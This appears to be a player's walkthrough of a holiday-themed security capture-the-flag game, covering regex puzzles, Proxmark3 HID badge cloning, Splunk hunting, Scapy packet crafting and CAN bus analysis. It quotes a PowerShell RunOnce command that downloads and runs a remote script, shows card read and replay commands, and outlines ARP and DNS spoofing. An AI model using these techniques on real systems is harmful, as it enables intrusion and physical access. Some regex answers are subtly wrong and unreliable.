- They tested an earlier version of the Snowball Game in the summer but it had web socket vulnerabilities.
- Sample seems simple on the easy levels but the Impossible level might be impossible but someone did beat him so something is up
- Maybe the name a player provides has some connection to how the forts are laid out
- A player might feed their hard name into an easy game to cheat it
- In the hard game, you get rejected player names in the page comments. Try use them somehow
Specific hints provided are:
- Pseudo Random Number Generator (PRNG) Seeding While system time is probably most common, developers have the option to seed pseudo-random number generators with other values. Generate pseudo-random numbers
- Extra Snowball Game instances
- Mersenne Twister Python uses the venerable Mersenne Twister algorithm to generate PRNG values after seed. Given enough data, an attacker might predict upcoming values. Mersenne Twister Predictor
- Check out Random Facts about Mersenne Twisters by Tom Liston
Task 9: Snowball Game [TBD]
Santavator – Floor 1 1/2
I head back into the Santavator. To get to the Workshop, I need to direct both the green
and red
streams.
I position the red bulb into its’ place as shown. That unocks the Workshop
and Netwars
floors.
I’ll head over to the Workshop
first.
WorkShop
I see a ball lying on the floor and pick it up. It happens to be a Large Marble
that attracts sparkles.
Conversation with Minty Candycane
I explore the room and head over to Elf Minty Candycane
. He is working on fixing the present sort-o-matic
and needs some help.
- It uses Java to sort presents from misfits toys
- With some tools, regexes need / at the beginning and the end but they are not used here
- Here is a JavaScript Regex Cheatsheet
- You can use Regex 101 to test Regex
Task 10: Sort-O-Matic
- Create a regular expression that will only match any string containing at least one digit.
Answer:
\d
- Create a regular expression that will only match only alpha characters A-Z of at least 3 characters in length or greater while ignoring case. Answer:
[[a-zA-Z]{3}
- Create a regular expression that will only match at least two consecutive lowercase a-z or numeric characters. Answer:
[a-z|\d\d]{2}
- Create a regular expression that will only match any two characters that are NOT uppercase A through L and NOT numbers 1 through 5. Answer:
[^A-L|^1-5]{2}
- Create a regular expression that only matches if the entire string is composed of entirely digits and is at least 3 characters in length. Answer:
^\d{3,}$
- Create a regular expression that only matches if the entire string is a valid Hour, Minute and Seconds time format similar to the following:
12:24:53 1:05:24 23:02:43 08:04:10
However, the following would be invalid:
25:30:86 A1:E4:B5 B2:13:4A 32:24:53 08:74:53 12:5:24
Use anchors or boundary markers to avoid matching other surrounding strings.
Answer:
^([0-1]?[0-9]|2[0-3]):[0-5][0-9]:[0-5][0-9]$
- Create a regular expression that only matches if the entire string is a MAC address. For example:
00:0a:95:9d:68:16 76:A4:5A:D2:69:93 B8:13:13:D1:18:EC 95:ce:00:4a:22:df
However, the following would be examples of invalid MAC Addresses:
97:z2:gf:c4:02:c2 de:140:130:69:7_-bd C0:HH:EE:50:B7:C3
Use anchors or boundary markers to avoid matching other surrounding strings.
Answer:
^([\dA-F|a-f]{2}:){5}([\dA-F|a-f]{2})$
- Create a regular expression that only matches one of the three following day, month, and four digit year formats:
10/01/1978 01.10.1987 14-12-1991
However, the following values would be invalid formats:
05/25/89 12-32-1989 01.1.1989 1/1/1
Use anchors or boundary markers to avoid matching other surrounding strings.
Answer:
^[0-1]\d[\/|\.|\-]([0-2]\d|[0-3][0-1])[\/|\.|\-][0-1][0-9]{3}$
With the Sort-o-matic
fixed, Minty Candycane discloses the following hints:
- Try the Splunk Challenge
- If you are newer to SOC, listen to the Dasking Through the Logs Talk
- Listen to Adversary Emulation Talk
- Use CyberChef for decoding or decrypting data
- It’s in the Great Room but they will not let an attendee operate it.
Wrapping Room
Next stop is the Wrapping Room
. I see two items lying on the floor.
.
The first item I pick up is the Rubber Ball
that is supposedly great for bouncing electrons. The second item is the Proxmark3
which is supposed to be an RFID Swiss-army tool
.
Conversation with Noel Boetie
I then speak with Elf Noel Boetie
. He informs me that they wrap presents for delivery in this room but the tag generator
is acting up.
- He hopes that
Santa
can help nailing the flaw.
Task 11: Tag-Generator [TBD]
Return to the Workshop
Since I have the Proxmark3
, I can now attempt my Next Objective.
Objective 5: Open HID Lock

Elf Bushy Evergreen
had provided us with hints on how to use the Proxmark3
device.
The Proxmark is a multi-function RFID device, capable of capturing and replaying RFID events. Since we do not have a badge of our own, we need to impersonate someone by cloning and replaying their card values.
We need to capture the facility code and ID value of HID ProxCard badge by running lf hid read
when we are close enough to someone with a badge.
Additionally, the talk by Larry Pesce HID Card Hacking introduces us to HID hacking and we have the HID/ProxCard Cheat Sheet
As a test, I’ll try reading the nearest elf’s card. Elf Minty Candycane
is near me. While standing near him, let’s click on the Proxmark3 CLI.
An attempt to read his card fails. Seems like he has no card.
[magicdust] pm3 --> lf hid read
[magicdust] pm3 -->
I then walk back to the Wrapping Room
where Elf Noel Boetie
is located. I manage to read his card.
[magicdust] pm3 --> lf hid read
#db# TAG ID: 2006e22ee1 (6000) - Format Len: 26 bit - FC: 113 - Card: 6000
I go back to the door and attempt to simulate his card but the door does not open.
magicdust] pm3 --> lf hid sim -r 2006e22ee1
[=] Simulating HID tag using raw 2006e22ee1
[=] Stopping simulation after 10 seconds.
[=] Done
From the HID Card Hacking Talk, Larry mentioned that Santa’s facility code is 149
. I attempt with that but same thing, door does not open.
[magicdust] pm3 --> lf hid sim -w H10301 --fc 149 --cn 6000
[=] Simulating HID tag
[+] [H10301] - HID H10301 26-bit; FC: 149 CN: 6000 parity: valid
[=] Stopping simulation after 10 seconds.
[=] Done
[magicdust] pm3 -->
I also attempted with a lower CN
number but that failed too. Reviewing the hints that I had accumulated, I remember Elf Fitzy Shortstack
mentioning that Santa really trusts Shiny Upatree
.
Let’s head back to the Castle Approach
area and try read his card. I simply hop into the Santavator
and click the Lobby
Level. From the Santavator
, I walk via the Entry Area
to the Castle Approach
.
While standing near Shint Upatree
, I attempt to read his card.
[magicdust] pm3 --> lf hid read
#db# TAG ID: 2006e22f13 (6025) - Format Len: 26 bit - FC: 113 - Card: 6025
And since Santa
is right there too, I also walk up to him and read his card but it comes out empty too.
[magicdust] pm3 --> lf hid read
[magicdust] pm3 -->
Just for the sake, I’ll read Sparkle Redberry's
too incase my hint does not work.
[magicdust] pm3 --> lf hid read
#db# TAG ID: 2006e22f0d (6022) - Format Len: 26 bit - FC: 113 - Card: 6022
We go back into the Santavator
and into the workshop
. Making sure am standing near the door, I attempt simulating a card.
[magicdust] pm3 --> lf hid sim -w H10301 --fc 113 --cn 6025
[=] Simulating HID tag
[+] [H10301] - HID H10301 26-bit; FC: 113 CN: 6025 parity: valid
[=] Stopping simulation after 10 seconds.
[=] Done
[magicdust] pm3 -->
Hurray! Challenge completed. The door is unlocked.
Congratulations! You have completed the Open HID Lock challenge!
Teleport Area
Once I walk into the room the second half of the objectives get unlocked. The room is really dark but I see two flickering lights(?).
I click on them and get teleported into Santa
.
With this ability, I am able to teleport
into certain location.
Return to the Great Room
Now that I am Santa
, let’s see whether I can access other levels. I’d like to go to Santa's Office
. For that, we need to light the yellow, red and green streams.
Am also guessing that we would need to use the Fingerprint Scan
. But I still don’t have the yellow bulb to power the yellow lights so I teleport back into the Great Room
to attempt my next objective – Splunk Challenge
.
Objective 6: Splunk Challenge

Elf Minty Candycane
had provided three hints earlier that referenced two talks Dasking Through the Logs Talk and
Adversary Emulation Talk and also the use of CyberChef for decoding or decrypting data.
I have to do this one as Santa
as they do not let attendees
operate the terminal.
Let’s access the Splunk Dashboard
- How many distinct MITRE ATT&CK techniques did Alice emulate?
To get the number of Teqniques, we only need to focus on the indexes that have
tXXX
values. We are not interested in the subteqniques so we ignore the trailing.XXX
values.
Query Used:
| tstats count where index=* by index
> Answer: 13 Techniques
t1033 t1057 t1059 t1071 t1082 t1105 t1106 t1123 t1204 t1547 t1548 t1559 t1566
Search proposed by Alice was:
| tstats count where index=* by index
| search index=T*-win OR T*-main
| rex field=index "(?t\d+)[\.\-].0*"
| stats dc(technique)
- What are the names of the two indexes that contain the results of emulating Enterprise ATT&CK technique 1059.003? (Put them in alphabetical order and separate them with a space)
Query Used:
index=T1059.003*
| stats count by index
> Answer: t1059.003-main t1059.003-win
- One technique that Santa had us simulate deals with ‘system information discovery’. What is the full name of the registry key that is queried to determine the MachineGuid?
For this, we need to search this specific Github repo as shown in the screenshot.
The search leads us to the T1082 – System Information Discovery atomic.
Searching the page for MachineGuid
we see that Atomic Test #8 - Windows MachineGUID Discovery
is responsible for this.
> Answer: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography
- According to events recorded by the Splunk Attack Range, when was the first OSTAP related atomic test executed? (Please provide the alphanumeric UTC timestamp.)
Query Used:
index=attack OSTAP | sort -"Execution Time _UTC"
> Answer: 2020-11-30T17:44:15Z
- One Atomic Red Team test executed by the Attack Range makes use of an open source package authored by frgnca on GitHub. According to Sysmon (Event Code 1) events in Splunk, what was the ProcessId associated with the first use of this component?
First, I try searching for any index with sysmon
.
index=* *sysmon*
Based on the output, I pivot based on the source
. It is also possible to filter based on EventCode
as seen in the talk Dashing Through the Logs by James Brodsky
index=* *sysmon* source="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational"| stats count by EventCode
Clicking on the EventCode 1
, we are able to pivot further
index=* *sysmon* source="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1
We can filter by the date
and user
to narrow down. I then searched in GitHub
for user frgnca
. There was only one such user. Searching through his 8 repos, the most probable one was the AudioDeviceCmdlets which is a suite of PowerShell Cmdlets to control audio devices on Windows. I therefore added a filter for audio
as an exact match on AudioDeviceCmdlets
was not there.
index=* *sysmon* EventCode=1 User="ATTACKRANGE\\Administrator"
*audio* | sort by _time
That brought me down to 2 entries with seemingly the same _time
but looking at the TimeCreated
, The process 3648
was executed earlier.
> Answer: 3648
- Alice ran a simulation of an attacker abusing Windows registry run keys. This technique leveraged a multi-line batch file that was also used by a few other techniques. What is the final command of this multi-line batch file used as part of this simulation?
Used the below query to see which batch files exist and sorted by date.
index=* User="ATTACKRANGE\\Administrator" *.bat*
| stats count by _time CommandLine
The command the attacker ran to abuse Windows registry run keys is seen below.
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" & {$RunOnceKey = \""HKLM:\Software\Microsoft\Windows\CurrentVersion\RunOnce\"" set-itemproperty $RunOnceKey \""NextRun\"" 'powershell.exe \""IEX (New-Object Net.WebClient).DownloadString(`\""https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/ARTifacts/Misc/Discovery.bat`\"")\""'}
From there, we do see the name of the batch file Discovery.bat
and from where it was downloaded. Accessing the file via browser, we can see the commands that were in the batch file. The final command in the file is quser
.
> Answer: quser
- According to x509 certificate events captured by Zeek (formerly Bro), what is the serial number of the TLS certificate assigned to the Windows domain controller in the attack range?
Alice left a starting command and advised to check out the SSL/TLS certs that are captured in the x509-related sourcetype.
index=* sourcetype=bro*
We can pivot to the source type with x509
in it’s name as advised.
index=* sourcetype=bro* sourcetype="bro:x509:json"
We are interesetd in windows domain controllers
in the attackrange
so let’s filter by certificate.subject
.
index=* sourcetype=bro* sourcetype="bro:x509:json"
| stats by certificate.subject
We see only one certificate in the list with the dc
name. Privoting to that certificate using the below command gives us the certificate serial number 55FCEEBB21270D9249E86F4B9DC7AA60
index=* sourcetype=bro* sourcetype="bro:x509:json" "certificate.subject"="CN=win-dc-748.attackrange.local"
> Answer: 55FCEEBB21270D9249E86F4B9DC7AA60
- What is the name of the adversary group that Santa feared would attack KringleCon?
Alice provides a hint in the chat:
This last one is encrypted using your favorite phrase! The base64 encoded ciphertext is: 7FXjP1lyfKbyDK/MChyf36h7
It’s encrypted with an old algorithm that uses a key. We don’t care about RFC 7465 up here! I leave it to the elves to determine which one!
The comment points us to RFC 7465 – Prohibiting RC4 Cipher Suites. Alice says that they do not care about that RFC. My assumption is that we are allowed to use RC4 cipher suites.
Alice also mentions that Santa's
favourite phrase was used to encrypt it. From the Adversary Emulation and Automation Talk by Dave Herrald, he mentioned that the most important slide was Stay Frosty
. I think this has something to do with the phrase. Also, Bow Ninecandle
had hinted that Santa thought of another Marketing pitch for the North Pole called The Frostiest Place on Earth!
So we have two phrases.
Let’s try the one from the Splunk Talk first.
Woohoo! The Phrase Stay Frosty
worked!
> Answer: The name of the adversary group is The Lollipop Guild
.
Netwars
My next Objective is located in the Netwars
floor so I head there.
I do not see the yellow bulb here. I cannot seem to find it.
Conversation with Alabaster Snowball
The first elf I speak to is Elf Alabaster Snowball
who is watching elves play Netwars
. He tells me to:
- Try the
Scapy Prepper
. - Use help() if I get stuck for hints
Task 12: Scapy Prepper
╔════════════════════════════════════════════════════════════════╗
║ HELP MENU: ║
╠════════════════════════════════════════════════════════════════╣
║ 'help()' prints the present packet scapy help. ║
║ 'help_menu()' prints the present packet scapy help. ║
║ 'task.get()' prints the current task to be solved. ║
║ 'task.task()' prints the current task to be solved. ║
║ 'task.help()' prints help on how to complete your task ║
║ 'task.submit(answer)' submit an answer to the current task ║
║ 'task.answered()' print through all successfully answered. ║
╚════════════════════════════════════════════════════════════════╝
>>> task.get()
Welcome to the "Present Packet Prepper" interface! The North Pole could use your help prep
aring present packets for shipment.
- Start by running the task.submit() function passing in a string argument of ‘start’.
>>> task.submit('start')
Correct! adding a () to a function or class will execute it. Ex - FunctionExecuted()
- Submit the class object of the scapy module that sends packets at layer 3 of the OSI model.
Scapy classes can be found here.
For example, task.submit(sendp)
would submit the sendp scapy class used to send packets at
layer 2 of the OSI model.
>>> task.submit(send)
Correct! The "send" scapy class will send a crafted scapy packet out of a network interface.
- Submit the class object of the scapy module that sniffs network packets and returns those packets in a list.
>>> task.submit(sniff)
Correct! the "sniff" scapy class will sniff network traffic and return these packets in a list.
- Submit the NUMBER only from the choices below that would successfully send a TCP packet an d then return the first sniffed response packet to be stored in a variable named "pkt":
-
- pkt = sr1(IP(dst="127.0.0.1")/TCP(dport=20))
-
- pkt = sniff(IP(dst="127.0.0.1")/TCP(dport=20))
-
- pkt = sendp(IP(dst="127.0.0.1")/TCP(dport=20))
From the documentation here, scapy.sendrecv.sr1()
Send packets at layer 3 and return only the first answer.
That means the answer is 1
>>> task.submit(1)
Correct! sr1 will send a packet, then immediately sniff for a response packet.
- Submit the class object of the scapy module that can read pcap or pcapng files and return a list of packets.
Hm, for this one, I see both scapy.sendrecv.sniff()
and scapy.sendrecv.AsyncSniffer
have the offline
parameter option to read PCAP file (or list of PCAP files) from, instead of sniffing them
Both options do not work and I get a hint
> Look for "Read a pcap or pcapng file and return a packet list" at the link ( https://scapy.readthedocs.io/en/latest/api/scapy.utils.html )
Ah. scapy.utils.rdpcap
can Read a pcap or pcapng file and return a packet list.
>>> task.submit(rdpcap)
Correct! the "rdpcap" scapy class can read pcap files.
- The variable UDP_PACKETS contains a list of UDP packets. Submit the NUMBER only from the choices below that correctly prints a summary of UDP_PACKETS:
-
- UDP_PACKETS.print()
-
- UDP_PACKETS.show()
-
- UDP_PACKETS.list()
From this Usage Example we can see pkt.show()
being used for a developed view of the packet.
>>> task.submit(2)
Correct! .show() can be used on lists of packets AND on an individual packet.
- Submit only the first packet found in UDP_PACKETS.
>>> UDP_PACKETS.show()
0000 Ether / IP / UDP / DNS Qry "b'www.elves.rule.'"
0001 Ether / IP / UDP / DNS Ans "10.21.23.12"
Hint: > You can specify an item from a list using "list_var_name[num]" where "num" is the item number you want starting at 0.
>>> task.submit(UDP_PACKETS[0])
Correct! Scapy packet lists work just like regular python lists so packets can be accessed
by their position in the list starting at offset 0.
- Submit only the entire TCP layer of the second packet in TCP_PACKETS.
Hint: > If you had a packet stored in a variable named pkt, you could access its IP layer using "pkt[IP]"
>>> task.submit(TCP_PACKETS[1][TCP])
Correct! Most of the major fields like Ether, IP, TCP, UDP, ICMP, DNS, DNSQR, DNSRR, Raw, etc... can be accessed this way. Ex - pkt[IP][TCP]
- Change the source IP address of the first packet found in UDP_PACKETS to 127.0.0.1 and then submit this modified packet Check the packet
>>> UDP_PACKETS[0]
<Ether dst=00:c0:9f:32:41:8c src=00:e0:18:b1:0c:ad type=IPv4 |<IP version=4 ihl=5 tos=0x0 len=60 id=0 flags=DF frag=0 ttl=64 proto=udp chksum=0x6543 src=192.168.170.8 dst=192.168.170.20 |<UDP sport=32795 dport=domain len=40 chksum=0xaf61 |<DNS id=30144 qr=0 opcode=QUERY aa=0 tc=0 rd=1 ra=0 z=0 ad=0 cd=0 rcode=ok qdcount=1 ancount=0 nscount=0 arcount=0 qd= an=None ns=None ar=None |>>>>
Change the IP address
>>> UDP_PACKETS[0][IP].src='127.0.0.1'
Submit the modified packet
>>> task.submit(UDP_PACKETS[0])
Correct! You can change ALL scapy packet attributes using this method.
- Submit the password "task.submit(‘elf_password’)" of the user alabaster as found in the packet list TCP_PACKETS.
From here, the plist
class PacketList: holds several packets and allows to do operations on them.
I believe there is a better way of solving this one but this is the way I solved it. Check the packets
>>> TCP_PACKETS.show()
0000 Ether / IP / TCP 192.168.0.114:1137 > 192.168.0.193:ftp S
0001 Ether / IP / TCP 192.168.0.193:ftp > 192.168.0.114:1137 SA
0002 Ether / IP / TCP 192.168.0.114:1137 > 192.168.0.193:ftp A
0003 Ether / IP / TCP 192.168.0.193:ftp > 192.168.0.114:1137 PA / Raw
0004 Ether / IP / TCP 192.168.0.114:1137 > 192.168.0.193:ftp PA / Raw
0005 Ether / IP / TCP 192.168.0.193:ftp > 192.168.0.114:1137 PA / Raw
0006 Ether / IP / TCP 192.168.0.114:1137 > 192.168.0.193:ftp PA / Raw
0007 Ether / IP / TCP 192.168.0.193:ftp > 192.168.0.114:1137 PA / Raw
Inspect each packet
>>> TCP_PACKETS[3]<Ether dst=00:16:ce:6e:8b:24 src=00:15:f2:40:76:ef type=IPv4 |<IP version=4 ihl=5 tos=0x0 len=70 id=10593 flags=DF frag=0 ttl=128 proto=tcp chksum=0x4ecd src=192.168.0.193 dst=192.168.0.114 |<TCP sport=ftp dport=1137 seq=3334930754 ack=3753095935 dataofs=5 reserved=0 flags=PA window=65535 chksum=0xd97d urgptr=0 |>>>
>>> TCP_PACKETS[4]<Ether dst=00:15:f2:40:76:ef src=00:16:ce:6e:8b:24 type=IPv4 |<IP version=4 ihl=5 tos=0x0 len=55 id=42981 flags=DF frag=0 ttl=128 proto=tcp chksum=0xd057 src=192.168.0.114 dst=192.168.0.193 |<TCP sport=1137 dport=ftp seq=3753095935 ack=3334930784 dataofs=5 reserved=0 flags=PA window=17394 chksum=0xa98 urgptr=0 |>>>
>>> TCP_PACKETS[5]<Ether dst=00:16:ce:6e:8b:24 src=00:15:f2:40:76:ef type=IPv4 |<IP version=4 ihl=5 tos=0x0 len=77 id=10594 flags=DF frag=0 ttl=128 proto=tcp chksum=0x4ec5 src=192.168.0.193 dst=192.168.0.114 |<TCP sport=ftp dport=1137 seq=3334930784 ack=3753095950 dataofs=5 reserved=0 flags=PA window=65520 chksum=0x3d9c urgptr=0 |>>>
>>> TCP_PACKETS[6]<Ether dst=00:15:f2:40:76:ef src=00:16:ce:6e:8b:24 type=IPv4 |<IP version=4 ihl=5 tos=0x0 len=51 id=42982 flags=DF frag=0 ttl=128 proto=tcp chksum=0xd05a src=192.168.0.114 dst=192.168.0.193 |<TCP sport=1137 dport=ftp seq=3753095950 ack=3334930821 dataofs=5 reserved=0 flags=PA window=17357 chksum=0xe96b urgptr=0 |>>>
>>> TCP_PACKETS[7]<Ether dst=00:16:ce:6e:8b:24 src=00:15:f2:40:76:ef type=IPv4 |<IP version=4 ihl=5 tos=0x0 len=70 id=10595 flags=DF frag=0 ttl=128 proto=tcp chksum=0x4ecb src=192.168.0.193 dst=192.168.0.114 |<TCP sport=ftp dport=1137 seq=3334930821 ack=3753095961 dataofs=5 reserved=0 flags=PA window=65509 chksum=0xd3 urgptr=0 |>>>
From TCP_PACKETS[6]
we see that the user sent password echo
.
Answer:
>>> task.submit('echo')
Correct! Here is some really nice list comprehension that will grab all the raw payloads from tcp packets:
[pkt[Raw].load for pkt in TCP_PACKETS if Raw in pkt]
- The ICMP_PACKETS variable contains a packet list of several icmp echo-request and icmp echo-reply packets. Submit only the ICMP chksum value from the second packet in the ICMP_PACKETS list.
Hint: > You could get the ICMP id value of the 3rd packet using ICMP_PACKETS[2][ICMP].id .
Answer:
>>> task.submit(ICMP_PACKETS[1][ICMP].chksum)
Correct! You can access the ICMP chksum value from the second packet using ICMP_PACKETS[1][ICMP].chksum .
- Submit the number of the choice below that would correctly create a ICMP echo request pack et with a destination IP of 127.0.0.1 stored in the variable named "pkt"
-
- pkt = Ether(src=’127.0.0.1′)/ICMP(type="echo-request")
-
- pkt = IP(src=’127.0.0.1′)/ICMP(type="echo-reply")
-
- pkt = IP(dst=’127.0.0.1′)/ICMP(type="echo-request")
>> task.submit(3)
Correct! Once you assign the packet to a variable named "pkt" you can then use that variable to send or manipulate your created packet.
- Create and then submit a UDP packet with a dport of 5000 and a dst IP of 127.127.127.127. (all other packet attributes can be unspecified)
>>> task.submit(IP(dst='127.127.127.127')/UDP(dport=5000))
Correct! Your UDP packet creation should look something like this:
pkt = IP(dst="127.127.127.127")/UDP(dport=5000)
task.submit(pkt)
- Create and then submit a UDP packet with a dport of 53, a dst IP of 127.2.3.4, and is a DNS query with a qname of "elveslove.santa". (all other packet attributes can be unspecified)
Hint: > You can reference UDP_PACKETS[0] for a similar packet but dont use this exact packet but create a new one. You can also reference this link
Creating the packet
>>> IP(dst='127.2.3.4')/UDP(dport='53')/DNS(qd=DNSQR(qname='elveslove.santa'))
<IP frag=0 proto=udp dst=127.2.3.4 |<UDP sport=domain dport=53 |<DNS qd= |>>>
Submitting it
>>> task.submit(IP(dst='127.2.3.4')/UDP(dport=53)/DNS(qd=DNSQR(qname='elveslove.santa')))
Correct! Your UDP packet creation should look something like this:
pkt = IP(dst="127.2.3.4")/UDP(dport=53)/DNS(rd=1,qd=DNSQR(qname="elveslove.santa"))
task.submit(pkt)
- The variable ARP_PACKETS contains an ARP request and response packets. The ARP response (the second packet) has 3 incorrect fields in the ARP layer. Correct the second packet in ARP_PACKETS to be a proper ARP response and then task.submit(ARP_PACKETS) for inspection.
Verify the request [0]
and response [1]
packets.
>>> ARP_PACKETS[0]
<Ether dst=ff:ff:ff:ff:ff:ff src=00:16:ce:6e:8b:24 type=ARP |>
>>> ARP_PACKETS[1]
<Ether dst=00:16:ce:6e:8b:24 src=00:13:46:0b:22:ba type=ARP |<ARP hwtype=0x1 ptype=IPv4
hwlen=6 plen=4 op=None hwsrc=ff:ff:ff:ff:ff:ff psrc=192.168.0.1 hwdst=ff:ff:ff:ff:ff:ff pdst=192.168.0.114 |>>
- The
hwdst
of the response should be sent to00:16:ce:6e:8b:24
and notff:ff:ff:ff:ff:ff
- The
hwsrc
of the response should be same as that of its ether frame00:13:46:0b:22:ba
and notff:ff:ff:ff:ff:ff
- The ARP
op
code for a response should beis-at
based on this referenc
hint: > The three fields in ARP_PACKETS[1][ARP] that are incorrect are op, hwsrc, and hwdst. A sample ARP pcap can be referenced at. You can run the "reset_arp()" function to reset the ARP packets back to their original form.
Answer:
>>> ARP_PACKETS[1][ARP].op=0x2
>>> ARP_PACKETS[1][ARP].hwdst='00:16:ce:6e:8b:24'
>>> ARP_PACKETS[1][ARP].hwsrc='00:13:46:0b:22:ba'
>>> task.submit(ARP_PACKETS)
Great, you prepared all the present packets!
Congratulations, all pretty present packets properly prepared for processing!
With the challenge resolved, Elf Alabaster Snowball
we have an exchange and he requests further help with the other terminal that he is working on. He states:
- TCPdump can be used to sniff packets
- Then try a machine-in-the-middle attack
- Spoof a DNS response to point the host to his terminal
- Then respond to its’ HTTP request with something he will cook up
- For privacy reasosn, he cannot let me access the other terminal
- He plans on asking Santa for a hand the next time he sees him
Elf Alabaster Snowball
unlocks the following hints for Objective 9: ARP Shenanigans
me:
- Sniffy
Jack Frost
must have gotten malware on our host at10.6.6.35
because we can no longer access it. Try sniffing theeth0
interface usingtcpdump -nni eth0
to see if you can view any traffic from that host. - Spoofy
The host is performing an ARP request. Perhaps we could do a spoof to perform a machine-in-the-middle attack. I think we have some sample scapy traffic scripts that could help you in
/home/guest/scripts.
- Resolvy Hmmm, looks like the host does a DNS request after you successfully do an ARP spoof. Let’s return a DNS response resolving the request to our IP.
- Embedy
The malware on the host does an HTTP request for a
.deb
package. Maybe we can get command line access by sending it a command in a customized.deb
file
Conversation with Jack Frost
I check in with Elf Jack Frost
but he only mentions that he is hanging out at The Frostiest Place on Earth
.
I walk over towards my next elf and notice that the Yellow Bulb
has now appeared on the floor! I head over and pick it up.
Conversation with Wunrose Openslae
I also attempt to interact with Santa's Sled
but only Santa
and Official Sled Technician
elves have access so I’ll skip that for now and speak with Elf Wunrose Openslae
.
He mentions:
- He has been playing with the
CAN-BUS Investigation
car hacking terminal and would like some help - He is trying to figure out what the
Unclock Code
is in the CAN Bus Logs - While grabbing the traffic, he locked, unlocked and locked the car again
- It ought to be just a matter of filtering down the traffic until we get down to those 3 actions in the CAN traffic
The following hints are unlocked:
- Check out CAN Bus Can-Can Talk by Chris Elgee
- Filtering Text
You can hide lines you don’t want to see with commands like
cat file.txt | grep -v badstuff
Task 13: CAN-BUS Investigation
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMWX00OkxxddcddxxkOO0XWMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMWXOxoc:c.;cccccc.ccccc:.:c:ldxOXMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMXkoc',ccccc:.:ccccc.ccccc.;cccc,'::cdOXMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMM0xc:cccc,':cccc::ccccccccccccccc:.;cccccc:lxXMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMNkl,',:ccccc;;ccccccccccccccccccccc::cccccc:,',:lOWMMMMMMMMMMMMM
MMMMMMMMMMMMNxccccc;';cccccccccccccccccccccccccccccccccc;':cccccckWMMMMMMMMMMM
MMMMMMMMMMNdcccccc:..;cccccccccccccccccccccccccccccccccccccccccccc:kWMMMMMMMMM
MMMMMMMMM0c,,,,:cccc;..;cccccccccccccccccccccccccccccccccccccc:,,,;:lKMMMMMMMM
MMMMMMMWd:cccc;:cccccc;..,cccccccccccccccccccccccccccccccccccc;:cccccckMMMMMMM
MMMMMMNlcccccccccccccccc:..,:ccccccccccccccccccccccccccccccccccccccccc:oWMMMMM
MMMMMNc,,,,,:ccccccccccccc:..':cccccccccccccccccccccccccccccccccc:,,,,,;oWMMMM
MMMMWoccccc::ccccccccccccccc:'.':cccccccccccccccccccccccccccccccc::ccccccxMMMM
MMMMkccccccccccccccccccccccccc:'..:cccccccccccccccccccccccccccccccccccccc:0MMM
MMMN::cccccccccccccccccccccccccc:'..:cccccccccccccccccccccccccccccccccccc:cWMM
MMMk,,,,,:cccccccccccccccccccccccc:,..;ccccccccccccccccccccccccccccc:,,,,,;0MM
MMMlccccccccccccccccccccccccccccccccc,.;cccccccccccccccccccccccccccccccccccdMM
MMW:ccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccclMM
MMWOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO0MM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
Welcome to the CAN bus terminal challenge!
In your home folder, there's a CAN bus capture from Santa's sleigh. Some of
the data has been cleaned up, so don't worry - it isn't too noisy. What you
will see is a record of the engine idling up and down. Also in the data are
a LOCK signal, an UNLOCK signal, and one more LOCK. Can you find the UNLOCK?
We'd like to encode another key mechanism.
Find the decimal portion of the timestamp of the UNLOCK code in candump.log
and submit it to ./runtoanswer! (e.g., if the timestamp is 123456.112233,
please submit 112233)
elf@667e002f4a3d:~$
Verifying the home folder for the presence of the logs.
elf@667e002f4a3d:~$ ls
candump.log runtoanswer
Elf Wunrose Openslae
had already given usa hint, he mentioned that he locked, unlocked and locked again. So we are looking for an action that was done twice only (locking) and a unique lock action. Additionally, from the CAN Bus Can-Can Talk by Chris Elgee, we learn that the traffic will have a CAN-ID
and DATA
. For both lock and unlock actions, the CAN-ID
will be the same but the DATA
segment will differ. Finally, from the talk, we also saw a sample packet capture of the traffic.
With that in mind, I eliminate the recurring CAN-ID = 244
since it happens more than 3 times. I eliminate 188
for a similar reason. I am left with the three entries below.
The lock was done twice – fist and third time. The unlock must have been the second entry.
elf@667e002f4a3d:~$ cat candump.log | grep -v 244 | grep -v 188
(1608926664.626448) vcan0 19B#000000000000
(1608926671.122520) vcan0 19B#00000F000000
(1608926674.092148) vcan0 19B#000000000000
The timestamp we are interested in is 1608926671.122520
and the answer requires we submit only the decimal portion of the timestamp.
elf@667e002f4a3d:~$ ./runtoanswer 122520
Your answer: 122520
Checking....
Your answer is correct!
elf@667e002f4a3d:~$
With the CAN-BUS issue solved, I head over to Winorse Openslae
to see if he has any hints for follow up tasks. He mentions
- The tweeks made to the sled by
Santa
do not seem right. - He cannot figure out what is wrong and would like some help.
As Santa
, I notice that he does not give me extra hints so I teleport back and change to myself then double-check with him again.
- Use that knowledge to work out some universal unlocker to be used only with permission
- Any thoughts on what might fix Santa’s sleigh?
- Santa’s Sleigh uses a variation of CAN-BUS called CAN-D BUS
- There is something naughty on the CAN-D BUS, the brakes shudder when he puts some pressure and something off with the locks
- You need to filter out naughty CAN-D ID codes
- There might be some valid IDs with invalid data bytes
- Only Santa is allowed on the sled
Hints Unlocked:
- CAN ID Codes Try filtering out one CAN-ID at a time and create a table of what each might pertain to. What’s up with the brakes and doors?
Objective 7: Solve the Sleigh’s CAN-D-BUS Problem

Our aim is to exclude only malicious messages. To solve this, I need to teleport into the Workshop
, become Santa and teleport back to Netwars
.
- Stopped everthing. Increased the accelerator and noted that the
244
values were increasing. Reduced it to zero and noted they were all zeros so that looks ok.
